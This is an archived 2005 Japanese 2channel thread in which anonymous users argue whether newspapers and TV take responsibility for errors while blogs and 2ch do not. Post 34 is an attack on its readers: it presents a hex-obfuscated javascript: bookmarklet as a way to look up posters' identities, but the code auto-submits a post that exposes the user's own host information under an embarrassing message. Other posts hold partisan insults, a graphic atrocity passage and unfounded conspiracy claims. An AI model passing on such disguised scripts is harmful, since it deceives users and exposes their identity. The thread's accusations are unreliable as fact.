マスコミは責任を取る ブログ、2chは責任を取らない
1 :
文責・名無しさん:
ニュース番組や新聞などの大手メディアはちゃんと責任を取る
ブログや2ちゃんねるは責任をとらない
アメリカのブログはダン・ラザーを辞任させた
日本のブログや2ちゃんねるにはそんな力はない
殺害予告などは逮捕されるが、それ以外は匿名でいい加減な書き込みばかり
なのに何を勘違いしたのか、ブログや2ちゃんねるは自分たちに力があると思い込んでる
2 :
文責・名無しさん:2005/04/09(土) 06:20:02 ID:nyZF7CR7
昨日の筑紫にさっそく洗脳されたか。
3 :
文責・名無しさん:2005/04/09(土) 07:24:13 ID:PzEvYrKc
筑紫はいつ責任取るの?
4 :
文責・名無しさん:2005/04/09(土) 09:50:01 ID:ipGWXvNU
>ニュース番組や新聞などの大手メディアはちゃんと責任を取る
ちゃんと責任を取ったところを見たことがありません。
後学の為に実例とソースを示してください。
5 :
文責・名無しさん:2005/04/09(土) 09:55:45 ID:5uQP3Iqn
メディアなんて無責任なもんさ。
始めから無責任なモノという前提で検証必須のブログや2ちゃんの方が
責任を取るなどという大嘘をこいて無条件に見るものを
洗脳しようとする大手メディアよりマシというだけのこと。
だいたい何だって連中、検証されるのをあんなに嫌がるんだ?
6 :
文責・名無しさん:2005/04/09(土) 09:58:49 ID:f6iSyn09
世間が問題にしなけりゃ責任なんてとらないくせに偉そうにするなとおじいちゃんがいってた
7 :
文責・名無しさん:2005/04/09(土) 10:35:31 ID:4EHFyAeO
>ニュース番組や新聞などの大手メディアはちゃんと責任を取る
ここ、笑うところですから
8 :
文責・名無しさん:2005/04/09(土) 10:37:50 ID:2AHGM1OU
スレタイ自体ギャグ
責任wwwwとってくださいよwwwwwマスゴミwwww
9 :
文責・名無しさん:2005/04/09(土) 10:55:57 ID:rT2YbMFI
>>7 ニュース番組や新聞などの大手メディアはちゃんと責任を取る(笑)
10 :
文責・名無しさん:2005/04/09(土) 11:00:44 ID:9YhZa1tW
>大手メディアはちゃんと責任を取る
日本を売国サヨだらけにした責任を早く取ってくださいよ
ブログや2ちゃんねるは自分たちに力があると思い込んでる
って、どういうところからこう判断したんだろう。
12 :
文責・名無しさん:2005/04/09(土) 11:09:23 ID:IVS+i/QX
筑紫は一般人をバカにしている。
ネットの住人はウソも見抜けず、何でも書いてあることを
信じるとでも思っているのか。
そりゃバカにもされるだろ。
筑紫はジャーナリストとして最前線でやってるんだから。
ネット上の、偏見に基いた無責任な妄言やプロパガンダとは違う。
14 :
文責・名無しさん:2005/04/09(土) 11:25:52 ID:UCoXYco1
責任を取らずに逃げ回ってる朝日新聞などはブログと同じレベルだと考えてよいわけですな
15 :
文責・名無しさん:2005/04/09(土) 11:26:30 ID:5pT8wbsR
>>11 2ch見てるなんて一言も言ってない有名人や漫画家に対して「○○は絶対2ch見てるよ」とか 「○○はこのスレからネタぱくってる」とか
従軍慰安婦報道に関して、朝日って責任取ったっけ?
17 :
Six ◆jJG7TOYBOY :2005/04/09(土) 11:31:57 ID:+D9t2lyI
そんな力がないのなら、放置すれば?
こんなスレッド立てるだけ、エネルギーの無駄遣いでしょ?
18 :
文責・名無しさん:2005/04/09(土) 11:52:39 ID:0dTFbQGT
バカ、ケチ、ナマケは酢を飲まない
19 :
文責・名無しさん:2005/04/09(土) 12:18:08 ID:WqFapwd2
んなわけねえだろっ。…突っ込ませるなよ。
20 :
文責・名無しさん:2005/04/09(土) 12:22:51 ID:bM44ZgWv
/\___/\
/ / ヽ ::: \
| (●), 、(●)、 | / ̄ ̄ ̄ ̄ ̄ ̄ ̄
| ,,ノ(、_, )ヽ、,, | < ま〜た始まった
| ,;‐=‐ヽ .:::::| \_______
\ `ニニ´ .:::/
/`ー‐--‐‐―´´\
>>1 前提も結論も憶測と思い込みがやたら多いなww
ブログの藤井満は無知・無責任な記事が原因で遁走に追い込まれたが、朝日新
聞の藤井満記者は批判が自分の耳に届かないことをこれ幸いと、汚物を垂れ流
している...に違いない。
24 :
文責・名無しさん:2005/04/09(土) 12:57:30 ID:VTXA8jUz
マスコミはいい加減なこと書けば抗議されるし世間の目も厳しくなるだろ。
それぐらいでは甘いのかもしれないが、首になることだけが責任ではないし
ネットでは名無しなら論破されてもID変えて出てくるし、コテ半も名前変えちゃえば
別人としてやり直せるからね
そういう意味ではネットの書き込みは無責任だよ
まあ、素人が書き込んでるんだからそれでいいと思うけど、マスコミにとって変わる
ってのは思い上がりだね。
25 :
文責・名無しさん:2005/04/09(土) 13:10:52 ID:wHm4b22/
K・Y珊瑚事件って朝日の社長が辞めたんだっけ?
坂本弁護士のビデオを放送前にオウムに見せたやつはどう責任とったか知らんなぁ
ぼくの脳内2ちゃんねらがこんなに大きくなったよ
>>24 抗議されたって世間の目が厳しくなったって馬耳東風ですが何か?
28 :
2chの特徴:2005/04/09(土) 13:21:48 ID:FldnOYU6
1.ユーザーの殆どがガキとフリーターばかり
つまり負け組みの集まり
2.書き込まれる内容もマスコミの受け売りばかり
独自ネタは全くなしで便所の落書き
3.書き込んでいる奴らの殆どは田舎もの
2ch以外に娯楽なし
29 :
文責・名無しさん:2005/04/09(土) 13:22:05 ID:WqFapwd2
今のマスコミは批判に答えて自分から変わっていこうとしていないだろ。
それじゃ抗議の意味ないだろ。思い上がって責任がないのはマスコミの
ほうだと思うな。それとネットの書き込みは無責任じゃなく、優しさな
んだよ。マスコミのことを思っているからこそ苦言のようなを書き込み
をしているっていうのが現実だろうね。今のマスコミはこのままだとい
づれ見切りをとけられるんじゃないかな。
>>24 マスコミにとって変わる
って、誰が言ってたの?
ウヨがファビョってるのがまさに
>>1の裏づけになってるな。
32 :
文責・名無しさん:2005/04/09(土) 13:28:53 ID:TnGP18cA
>>1 いや、おおむね正しいと思うが、日本の一部大手メディアも
ちゃんと責任を取らないことがあるぞ。
マスコミが責任を取るのなら今朝日新聞社が存在しているわけないだろうが。
ネットの情報をどうするかは基本的に受け手の自己責任さ。
34 :
文責・名無しさん:2005/04/09(土) 14:00:53 ID:Mqj97InQ
>>1 2chカキコも言いたい放題じゃないんだぞ。
ちゃんと手順踏めばIPから住所氏名の一部くらいは閲覧できるようになってる。
いちおう閲覧方法コピペしとくな。
(準備)
2ch専用ブラウザを使用している人は、
IEなどの一般的なブラウザでこのスレを開いておく。
1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
2、
改行を外して1行にする。
3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
4、
Enterを押す(もしくは「移動」をクリックする)。
>>1のような文章は随分昔から度々見るけどさ。
>>1は自分のカキコ(
>>1)については
どう思ってんだろう。匿名で書いてるし。
影響力ないと思うなら
なぜわざわざこんなので
いちいちスレたてるの?
矛盾してね?
36 :
文責・名無しさん:2005/04/09(土) 14:27:58 ID:04ohsFAX
マスゴミがどンな風に責任とってるの????????
思い込みと錯覚と誤解と単なる保守固定だろ
>>1
37 :
文責・名無しさん:2005/04/09(土) 16:14:08 ID:xtzoFtHe
ご都合主義、拝金主義、無責任、あさはか無能、国民の敵、日本5流マスゴミ
はやくつぶれてなくなれ。
38 :
文責・名無しさん:2005/04/09(土) 16:21:15 ID:VFpqDAOt
責任取ってるか?
いつもごまかしてるじゃん
説明責任さえ果たしてない
おまけに記事をなおす時はこっそり直す
39 :
文責・名無しさん:2005/04/09(土) 16:36:30 ID:qiByGoeQ
>>28 そのような振りをしているのは判ります。
マスコミ関係者の世論操作でしょう。
40 :
文責・名無しさん:2005/04/09(土) 16:41:13 ID:HnBxo2o7
歴史教科書検定で、文部省が侵略を進出と書き換えさせたという誤報
従軍慰安婦が強制連行であったという捏造記事
朝日新聞の一連の報道から中国と韓国の歴史教科書問題が
発火したが、一体朝日の誰が責任を取ったの?
秋岡特派員が、広岡社長の意を汲んで
「林彪失脚説を笑う」という捏造記事を朝日の一面に掲載したが
あれで、一体誰が責任取ったの?
雪印は偽装牛肉事件でお客様を騙した責任をとったが、読者を
騙してた朝日新聞は未だに一切責任をとっていないよ。
41 :
文責・名無しさん:2005/04/09(土) 16:44:08 ID:wPsfCuLb
筑紫自身がオウムの責任を取っていない
42 :
文責・名無しさん:2005/04/09(土) 16:47:23 ID:WqFapwd2
このままだと不買運動しなくても、自然消滅していきそうだな。
43 :
文責・名無しさん:2005/04/09(土) 16:54:43 ID:y3Tzcl23
>>28 1、3の根拠を出せよ。
テレビだと視聴者は情報を受け取るだけだから
印象操作ができるがネットだとそうはいかないぞ。
44 :
文責・名無しさん:2005/04/09(土) 17:13:58 ID:UlZNJ5TE
産経新聞昭和51年掲載 蒋介石秘録(執筆メンバー産経新聞主筆住田現社長)
全世界を震え上がらせた蛮行
日本軍はまず、撤退が間に合わなかった中国軍部隊を武装解除したあと、
長江(揚子江)岸に整列させ、これに機銃掃射を浴びせてみな殺しにした。
虐殺の対象は軍隊だけでなく、一般の婦女子にも及んだ。金陵女子大学内に
設置された国際難民委員会の婦女収容所にいた七千余人の婦人が大型トラックで
運び出され、暴行のあと、殺害された。
日本軍将校二人が、百人斬り、百五十人斬りを競い合ったというニュースが、
日本の新聞に大きく報道された。
虐殺の手段もますます残酷になった。下半身を地中に埋め、軍用犬に
襲いかからせる‘犬食の刑’、鉄カギで舌を貫いて全身をつるしあげる
‘鯉釣り’、鉄製のベッドに縛りつけ、ベッドごと炭火の中に放りこむ
‘豚焼き’―など、考えられる限りの残忍な殺人方法が実行された。
こうした戦闘員・非戦闘員、老幼男女を問わない大量虐殺は2カ月に及んだ。
犠牲者は三十万人とも四十万人ともいわれ、いまだにその実数がつかみえないほどである。
『倭寇(日本軍)は南京であくなき惨殺と姦淫をくり広げている。野獣にも似た
この暴行は、もとより彼ら自身の滅亡を早めるものである。それにしても同胞の
痛苦はその極に達しているのだ』(一九三八年一月二十二日の日記)
南京に住む外国人たちで組織された難民救済のための国際委員会は、日本軍
第六師団長・谷寿夫にたいし、放火、略奪、暴行、殺人など計百十三件の
具体的事例を指摘して、前後一二回にわたって厳重な抗議を提出したが、
谷寿夫は一顧だにしないばかりか、逆に、血塗られた南京の状況を
映画やフィルムに収め、日本軍の‘戦果’としてほめたたえたのである。
▼東京裁判の判決によると、南京で虐殺されたものは、一般人、中国兵合わせて
すくなくとも二十万人以上、略奪放火された家屋は、全市の三分の一とされている。
また谷寿夫は一九四六年三月、南京郊外の雨花台で戦犯として処刑された▲
45 :
文責・名無しさん:2005/04/09(土) 17:16:44 ID:kHmHEWtZ
反日反靖国 松下電器産業に公取委が警告
警察のソフトを1円で落札するな !!
鬼がわら宮里藍もテロTBS 筑紫の広告塔に・・
鬼がわら宮里藍もテロTBS 筑紫の広告塔に・・
Q. 毎日放送の小林薫
A. ぶたサヨク 石田英司
Q.毎日放送の安倍なつみの MBSヤングタウンのコーナーで
作詞した作品の一部が盗作だった。
Q.盗作詩を自作詩として放送したのは 大阪・MBS毎日放送
46 :
文責・名無しさん:2005/04/09(土) 17:25:43 ID:nrfepr5/
っていうか蒋介石って南京大虐殺をやらかした真犯人じゃねーかコンチクショー!!
マスコミが責任を取る相手は、読者や視聴者ではなく広告主です
48 :
文責・名無しさん:2005/04/09(土) 17:30:35 ID:WqFapwd2
ところでさー、アメリカ人は大戦後3万人の日本人を婦女暴行していたと聞いたし、
原爆だけで何十万人の一般市民を殺害したんだが。オレの気のせいか?
中国は自国民の何千万人を虐殺してるらしいが、なにか?あとチベット問題もどう
なんだろうね。ここら辺の報道はどっかの局がしてんの?
49 :
文責・名無しさん:2005/04/09(土) 18:03:45 ID:WqFapwd2
オレが最近思うのは、報道や政治なんてすぐには変わらないものだから、期待をし過ぎないで、自
分の身の周りの人を大切にしながら、自分のためになる行動をすればいいと思うなー。
50 :
文責・名無しさん:2005/04/09(土) 18:08:30 ID:cmhXudJn
朝日は責任取らないでしょ
見たこと無いぞ
筑紫は責任を取ってない。本人が責任を取る気が無い以上、なんらかの制裁が必要だ。
筑紫に対する罵詈雑言悪口批判に遠慮は要らない。どんどんやれ。
52 :
文責・名無しさん:2005/04/09(土) 19:09:07 ID:89eYNtOb
筑紫はTBSが死んだって言ったくせに、
いまだ出てるってどうゆうこと?
53 :
文責・名無しさん:2005/04/09(土) 19:45:33 ID:VTXA8jUz
珊瑚事件では関係者は処分され、社長も辞任したのでは?
あれほどのことなら当然だが、責任の取り方は状況に応じて
減給やもっと軽い処分の場合もあるだろう。
少なくとも完全に無責任な匿名ネットとは比較にならないだろ。
54 :
文責・名無しさん:2005/04/09(土) 20:59:52 ID:7e4cA0HE
55 :
文責・名無しさん:2005/04/09(土) 21:02:23 ID:7sPRbWoo
金貰ってんじゃん
56 :
文責・名無しさん:2005/04/09(土) 21:17:22 ID:PzEvYrKc
>>53 ネットではおかしいと思った意見に文句をつけられるしお前みたいに「ネットは信用ならない」って認識を
もっている人間が多数いる。
一方テレビは偏向したVTRを流したとしても誰も問題点を指摘しない。それどころか
コメンテーターはVTRを肯定する発言をして偏向したVTRに説得力を持たせる。
お前は「ネットがマスコミにとって変わる ってのは思い上がりだ」と書いたな。
その通り。だからそれ相応の責任が伴うんだよ。
58 :
文責・名無しさん:2005/04/09(土) 21:20:32 ID:WqFapwd2
>>53 朝日新聞のようなのをいつまでも放置した責任を感じてるヤツらが今頃やっと
これではまずいと思って、なんらかの行動起こしてるのではないのか?
そういう意味で2ちゃんは無責任というより逆に責任感があると言えるだろ。
59 :
文責・名無しさん:2005/04/09(土) 21:23:41 ID:sbCgwG26
反省文があればなんでもいいと思ってるのは
日本の馬鹿な警官だけだ
60 :
文責・名無しさん:2005/04/09(土) 21:27:41 ID:VFpqDAOt
村山政権誕生時に選挙権があったクソどもは
ちゃんと後始末してから死んでくださいね
61 :
文責・名無しさん:2005/04/09(土) 21:30:46 ID:M6n/xm2q
少なくとも毎日系は責任を取っておる。
62 :
文責・名無しさん:2005/04/09(土) 21:31:21 ID:4+GrT230
63 :
文責・名無しさん:2005/04/09(土) 21:31:49 ID:LGKMDofZ
筑紫はいつ腹を切るの?
毎日は社長が拉致された原因をいつ話すの?
朝日はいつ朝鮮に本社を移すの?
64 :
文責・名無しさん:2005/04/09(土) 21:44:04 ID:mfx2iA0O
ところで、ピエール
村山さんって眉毛のやけに長い小泉だと思わないか?
65 :
文責・名無しさん:2005/04/09(土) 22:35:11 ID:VTXA8jUz
>>57 ネット、既存のマスコミどちらかが全面的にいい悪いってことはないんだが
比較すればネットの方が無責任ということだ。
ネットで批判されても、実名じゃないし住所がさらされてるわけでもない
直接電話で講義できるわけでもない
論破されても別人として知らん不利できるってのは大きな違いだろ
珊瑚事件のようなことをしつこく問われたり
教科書問題で、過去と現在の整合性を問われるのは同じ名前の新聞だからだろ
66 :
文責・名無しさん:2005/04/09(土) 22:41:01 ID:cjdFb3fT
>>65ネットで批判されても、実名じゃないし住所がさらされてるわけでもない
直接電話で講義できるわけでもない
直接ネットで反論できるだろ。 おまえが今してるように。
>>論破されても別人として知らん不利できるってのは大きな違いだろ
別人であろうとなかろうと、ネットでは 言った内容で判断されるのだ。
論破されても こりずに同じ意見をばらまけば 同じように論破されるのだ。
いいか、ネットの世界では肩書ではなく、発言の内容で判断されるのだ。
67 :
文責・名無しさん:2005/04/09(土) 22:47:03 ID:ipGWXvNU
>論破されても別人として知らん不利できるってのは大きな違いだろ
マスコミの場合、そもそも、公に一般人が論破する為の機会がほとんどない点と
本人がとぼけて論破された(間違った)主張を繰り返す点について
68 :
○:2005/04/09(土) 22:48:15 ID:HBWaTpFF
記名記事書く記者も少ないしね。
69 :
文責・名無しさん:2005/04/09(土) 22:50:18 ID:y3Tzcl23
>>65 そりゃ影響力が違うからな。
影響力が大きいからそれだけの責任が伴うのは当然のことだ。
朝日とか筑紫が責任取ったことってあるの?
両方とも開き直りしか見たこと無い。もしくはスルー
71 :
文責・名無しさん:2005/04/09(土) 22:57:29 ID:MgIw8PIh
朝鮮日報、略して“朝日”
筑紫はTBSをちゃんと批判したよ。
73 :
文責・名無しさん:2005/04/10(日) 00:05:03 ID:N4T7Z+GU
>筑紫はTBSをちゃんと批判したよ。
批判と言うよりも、自己弁護の為にTBSを生贄にした振りをした
ってところじゃないの?
74 :
文責・名無しさん:2005/04/10(日) 00:10:16 ID:zP/GgS6p
で、朝日はいつ捏造報道の責任をとるのか?
ところで「2chは責任を」と、2chを一枚岩の様に形容するのは勘弁してもらいたい
珊瑚について、朝日は謝罪文を掲載したはずだよ。
マスコミはプロ。
プロなら責任取るのは当たり前。
ブログや2ちゃんねるはアマ。
まぁ、プロ市民ってのもいるけどねw
78 :
文責・名無しさん:2005/04/10(日) 00:55:24 ID:N4T7Z+GU
>珊瑚について、朝日は謝罪文を掲載したはずだよ。
元記事よりも小さい謝罪記事なんて、謝罪したと云えないと思う人が多いんだよ。
自ら環境破壊して、地元民等を犯罪者扱いして、挙句の果てが下請けに責任押し付け。
そんなのを謝罪と誰が納得するか。
79 :
マンセー古泉:2005/04/10(日) 01:01:35 ID:3hv5oboX
おまいらは飼いならされている犬なので
内部告発すら出来ませんか?
内乱を誘発してみるテスト。
殺されないように気を付けろ!!!
>>1よ
昔、「侵略」を「進出」に書き換えたと言う誤報をしたくせに、
産経以外は謝らなかったぜ。
この誤報が問題で外交問題煮まで発展したのにな。
もっとよく調べてからスレ立てろ。
名前が出てりゃ価値があると思うのはあまりもアホすぎ。
81 :
文責・名無しさん:2005/04/10(日) 01:34:53 ID:q0zmZl0y
処分だって甘いしな
降格人事だって、数ヶ月後には元通りだろ
鳥越がさんざん言ってたが、まさに口だけ
影響力がある分、ブログよりたちが悪い
82 :
文責・名無しさん:2005/04/10(日) 01:37:05 ID:jFy3z0HZ
このスレ立てたやつって、昨日の23のあと筑紫スレにマスコミ擁護書き込んだやつ。w
83 :
文責・名無しさん:2005/04/10(日) 01:38:57 ID:udP/qcUS
日韓併合を正当化するつもりだ
日韓併合は合法。
85 :
文責・名無しさん:2005/04/10(日) 03:07:28 ID:jswW9sCI
嫌なら条約結ぶわけねーだろ。
86 :
文責・名無しさん:2005/04/10(日) 04:37:41 ID:q0qccEqf
公務員は告発すると年金を止められます、よって誰も告発できません
どっちにせよ、若い世代に年金が無い事は伏せてますけどな
>>1 えーと5千万武富士から受領して誰が責任取ったの?
>>75 2chを一枚岩のように語るな
↑無責任の体系。これ言い出したら何もいえなくなる。
89 :
文責・名無しさん:2005/04/10(日) 10:44:50 ID:N4T7Z+GU
>>2chを一枚岩のように語るな
>↑無責任の体系。これ言い出したら何もいえなくなる。
つーか、マスゴミに批判的な人間でも、マスコミ関係者でも
自分の意思で自由に書き込みできる点だけにおいても
一枚板とはいえないだろ?
どうも、おかしな事言う人だね。
あんたの言っている事はマスゴミ業界の全員殺してしまえ
ってのと大差ないよ。
戦前に朝鮮人虐殺を煽った朝日新聞みたいな人だね。
マスコミはある程度毛並みをそろえた人の集まりである企業だけど、
2chはコミュニティー(という言い方でふさわしいのかどうかだが)だからな。
最小単位である「レス(発言者)」一個一個に責任を説いてまわれってのはおかしいが、
いきなり十把ひとからげに語るのも変な話だろう。
91 :
文責・名無しさん:2005/04/10(日) 11:20:16 ID:J0m+sHoA
2CHにカキコしても利権にはならないが、マスコミは利権の巣窟だろ。
92 :
文責・名無しさん:2005/04/10(日) 12:40:59 ID:tS/0tjK+
>>88 おいおいー、無責任な意見を押し付けんなよ。まったく。根拠はなんなんだ?
根拠のない意見を捏造というんだよ。偏見で決め付けんなって。
テレビ局も新聞社も一枚岩じゃないしな。
まとめて責任取れったって無理だろ。
94 :
文責・名無しさん:2005/04/10(日) 15:10:26 ID:c8VTSxG9
>2chを一枚岩のように語るな
明らかにマスコミ関係者だけの
ネット世論操作の場所ですよね。
95 :
文責・名無しさん:2005/04/10(日) 16:07:08 ID:c8VTSxG9
>>1 >ニュース番組や新聞などの大手メディアはちゃんと責任を取る
取っていないのが実状でしょう。
ブログや2chなんてのは所詮入れ物、媒体に過ぎないわけで、
主体であるマスコミと媒体であるブログ、2chを対比すれば当然
マスコミは責任追うけどブログ、2chは責任負わないって話しになるわな。
97 :
文責・名無しさん:2005/04/10(日) 18:05:32 ID:tS/0tjK+
だいたい、マスコミが責任とらないという原因があって、2ちゃんみたいの
が登場したというのが現実だろうと、個人的に思う今日この頃。
98 :
えかどまキコ:2005/04/10(日) 19:12:16 ID:rYaPE9i+
↑典型的な責任転嫁w
99 :
文責・名無しさん:2005/04/10(日) 19:41:38 ID:N4T7Z+GU
良スレ認定キタ━━━━━━\(゚∀゚)/━━━━━━ !!!!!
101 :
文責・名無しさん:2005/04/10(日) 20:05:36 ID:JbZRVEc9
マスコミは情報を扱う「仕事」をしているんだ。
仕事に責任は付きものだろうが。
それに対し、ブログや2chとかの書き込みは仕事じゃない。
102 :
文責・名無しさん:2005/04/10(日) 20:27:05 ID:Ly3w6/u1
あれは仕事ではなく工作だな
103 :
文責・名無しさん:2005/04/10(日) 21:01:05 ID:tS/0tjK+
>98
は、何の責任転嫁?どこらへんが?言ってみ。
>96
じゃあ、マスコミと2ちゃんを比較すると当然マスコミは責任あるけど
2ちゃんはないが。
104 :
文責・名無しさん:2005/04/10(日) 21:31:07 ID:T4RZAuhC
マスゴミは責任あるだろ
報道には信頼性も大事だし
2ちゃんは共有出来る落書きボードみたいなもん
嘘やネタで戯れる
105 :
文責・名無しさん:2005/04/10(日) 21:33:12 ID:c8VTSxG9
読売も加担しているので、
犯罪隠蔽上の建前の”看板”
という意図が見受けられる。
内容も、カメラを使った単なる”盗撮”
である。読売テレビでも、先日、カメラを使った
女性に対する性犯罪を取り上げていましたが。
傘にカメラを設置し、女性のスカートの中を
”盗撮”するという内容でした。
106 :
文責・名無しさん:2005/04/10(日) 21:36:02 ID:1EvbTPtF
↑ そう、「戯れ」の場なんだから、
要するに気に入らなきゃ放っとけばイイ。
これまでマスコミはやりたい放題、
書き逃げ・撮り逃げで人も羨む高給だったから
それを「ウラ」から石投げるヤツがいてもいい。
ただ、政治家の太鼓持ちみたいなこと書くヤツが
意外に大勢いて「おまえ、誰?」と思うことはあるが。
107 :
文責・名無しさん:2005/04/10(日) 21:55:49 ID:tS/0tjK+
>>104 その信頼性がないんだよね。特にマスコミの報道が。残念だ。
>>105 ふーむ、それは盗撮なのかー。犯罪でいうと、読売は犯罪抑止を建前にするけど、
朝日は犯罪者の人権を建前を使うからな。犯罪はあってはいけないが
犯罪者にたいする優しさも考えるべきところはあるもんな。ただ
最近の朝日新聞はちょっと建前が現実ばなれして妄想主義っぽい
気がするな。
108 :
文責・名無しさん:2005/04/10(日) 21:58:52 ID:V2pZA3b0
5000万円ただでもらうのが責任ですよね
日本のマスコミ
109 :
文責・名無しさん:2005/04/10(日) 22:04:20 ID:JfrjGyRg
マスコミが盗聴盗撮犯罪はゆるされない
19 :文責・名無しさん :2005/04/10(日) 16:35:27 ID:PCP84Pjz
行き過ぎどころではない
加害者の言い分を鵜呑みに決行された大規模激バカ人権蹂躙
卑猥画像を撒き散らかした犯罪者もいまだ野放しのまま
110 :
文責・名無しさん:2005/04/10(日) 22:04:44 ID:DMxWeRXd
責任を取らない マスコミ。
ダライラマ来日を報道しないマスコミ。
111 :
文責・名無しさん:2005/04/10(日) 22:07:59 ID:c8VTSxG9
112 :
文責・名無しさん:2005/04/10(日) 22:27:17 ID:PNpP2WFM
とっとと本田雅和を引きずり出せや。
有意義なスレではあると思うのでマスコミ叩きスレになって欲しくないなぁ
>>103 そもそも同じ土俵に立ってないんだから、比較するのはおかしいってこと。
マスコミは責任取るが、ねらーは責任取らない、なら意味がある比較だろうが。
116 :
文責・名無しさん:2005/04/11(月) 12:02:17 ID:0BjqOKET
おまいらはマスコミがどんな責任の取り方をしたら納得する?
117 :
文責・名無しさん:2005/04/11(月) 12:05:09 ID:2eD+zjoV
直接担当者の謝罪と辞職、プラス指導部構成員と社長の減給。
118 :
文責・名無しさん:2005/04/11(月) 12:10:48 ID:wrCkzmMS
マスコミは金取ってるんだから、責任を取るのは当然。
彼らにとっては仕事である。
一方、ブログの書き込みは落書き、憂さ晴らし。
金を取ってるわけでもないし、仕事でもない。
私人に対する誹謗中傷は別の意味での責任は免れないけど、
ブログ運用に対して責任を取る必要はない。
もっともマスコミだって、謝罪はあっても責任を取った例はないだろ?
>>116 ブログや2chが存在し、ここまで注目されている時点で
マスコミが責任を果たしていない証拠。
マスコミがマスコミの責任を果たせばブログはただの日記に
2ちゃんはただの情報掲示板に成り代わるだけ。
120 :
文責・名無しさん:2005/04/11(月) 12:35:32 ID:fBdv/T46
そもそもメディアが違うんだから特性が違って当然。
少なくとも、マスコミの言ってる「高度な中立性」ってのが、
無数のインディビュアリストたちによるフリーのバザールにあるのか、
金で運営されてる伽藍の中で編集されたシナリオにあるのかってのは明らかだけどね。
マスゴミは、記名記事にしろ。
社会政治はもちろん、芸能スポーツも。
個人名でも企業名でも名前出してるだけましだ
2chブログはアノニマス・カワード(匿名の臆病者)とか弱い犬ほどよく吠えるとか言われても仕方がない
筑紫とか馬鹿左翼だなと思うけど、人前出て批判されながらも自分の意見をちゃんと述べてる
テレビだと感情的なことはいえないし(2chは感情的過ぎる)、裏取らないで喋ると訴えられることもある
2ちゃんねる側から見ると慎重すぎていらいらするし、何でもっと踏み込んで報道しないんだと思うこと
もしょっちゅうある
でも仕方ない
テレビや新聞はその性質上慎重にならざるを得ない
慎重だって? いい加減なこというなよ。
三流雑誌が書いたガセネタを、スポーツ紙が扱って、それを垂れ流すテレビ局。
責任逃れで、がセナがしてる基地外ども。
124 :
文責・名無しさん:2005/04/11(月) 15:35:32 ID:fBdv/T46
>122
そうかもね。
起こったことが事実かどうかってのはまだマスコミのほうがマシだね。
でもそこから作られる物語はかなり微妙。
最初から結論なんて決まってて、それに合わせて編集してんだから。
で、その結論ってのは視聴率とスポンサーが決める。
せめて報道してる本人たちに報道の自立性なんて幻想が入ってればもう少しマシなんだろうけど、
いまどきそんなの入れてる奴いないしね。
125 :
文責・名無しさん:2005/04/11(月) 18:40:36 ID:AKAFRnB/
亀井先生の応援サイトもそうですが、
個人のサイトとしては、河村先生が私
のBBS投稿を全て載せてくれた唯一の政治
家です。安倍先生のサイトも最近では修正
をしないで載せてくれています。ただし、
マインドコントロールを国会に取り上げた
ロシアの政治家は確か2000年に失職させら
れたそうですから少し先生方のことが心配です。
ロシアのマインドコントロール組織より間違い
なく東芝の方がずっと薄汚いのですから。(マイ
ンドコントロールについては早く公にしなくて
はならないのです。)
金丸征太郎氏へ。
何度も繰り返しますが、
東芝社員だけではないのは明らかです。
某出版社首謀の事件もあります。
マスコミが加担しております。
安倍晋三 自由民主党 衆議院議員 - フォーラム
http://newleader.s-abe.or.jp/modules/newbb/ viewtopic.php?post_id=117&topic_id=12&forum=3
財界展望 ご意見板
http://www.zaiten.co.jp/cgi-bin/bbs.cgi 金丸征太郎氏へ。
東芝社員だけではないことの証明である。
126 :
文責・名無しさん:2005/04/11(月) 18:48:56 ID:0eYvpol4
マスコミってさあ、ゴシップやら何やらを高らかに言うくせに、
それが違ってた場合の謝罪記事って小さく小さく伝えるよな。
間違いをじっくり特集で検証して謝罪することなんてない。
どういうことだ、あれ。
127 :
文責・名無しさん:2005/04/11(月) 21:52:37 ID:3Ks6hJxk
>>116 適当に揚げてみた。
1.一つ一つの問題に対して真摯に答え、ネットなどに掲載し、また、その達成率を数字で示す事。
2.社説やコメンテータの言いっぱなしの発言を改める事。
根拠の無いいい加減な発言を控えるよう綱領を定め、その判定結果を公表する事。
3.マスコミのステークホルダー以外の「完全に独立した第三者機関」を備え、厳しく監査する事。
4.「公共性」を自認する以上、多額の金銭のやり取りは「全て」公表する事。
(政治献金と同レベル以上の扱い)例え機密事項でも公表を行うか、また、それに順ずる措置をとる事。
5.新規事業参入者に対して、充分に門戸を開く事。 (NTTが局内設備設置や、
ダークファイバーの使用を認めているように、参入障壁を無くす努力を行う事。)
6.「報道の自由」を守る為、自ら定めた(若しくは先の第三者機関が定めた)
規定を各社で守り、それが成さされなかった場合、経営に「支障が出る範囲」の罰則規定を設けること。
7.「ノブレスオブリージュ」(高貴なる者の責務)の観点から、
他者を批判する時には、自ら(自社・記者・キャスター・コメンテータ)が
その批判に当らない行動を取っているかを、明確に文書で示す事。
以上の事が出来なければ、根拠も無く無責任に他者を批判する事など出来ない。
また、公共性を持つなどとは、到底言うことは出来ない。
128 :
文責・名無しさん:2005/04/11(月) 22:50:18 ID:8CV5x+Fj
129 :
文責・名無しさん:2005/04/12(火) 00:05:59 ID:WkNtM5Tk
>テレビや新聞はその性質上慎重にならざるを得ない
その割には、迂闊な発言が多い気がするがね。
あと、反論の少ない人・層・組織への攻撃は、
ネットどころではないね
130 :
文責・名無しさん:2005/04/12(火) 01:45:29 ID:GhLYPU93
私は大企業の意志決定に外部から参画する仕事をしています。
マスコミは、官報、警察発表、企業広報の注釈が主な仕事だと感じています。
責任・無責任という議論は、冤罪創作力一つとっても、
マスコミは無責任でしょう。調査報道もせずに、警察発表ばかり
追っかけているから当然の帰結だともいえます。
私にとっては、ブログ・掲示板の情報が重要となっています。
マスコミは、アウトライン。ブログ・掲示板で、
その内容・背景をつかむようにしています。
重要なのは、情報選択力とその力の育成です。
マスコミとブログ・掲示板の未来について、語りませんか。
そのプロセスで、双方の利害、特質、役割分担、将来像などが
明らかになればと思います。
131 :
文責・名無しさん:2005/04/12(火) 07:26:34 ID:L9/dHq0M
>130
何が起こったかを見渡す為、第一報としての情報現には、マスコミ。
背景や詳しい状況を知るための糸口として情報源には掲示板・ブログ。
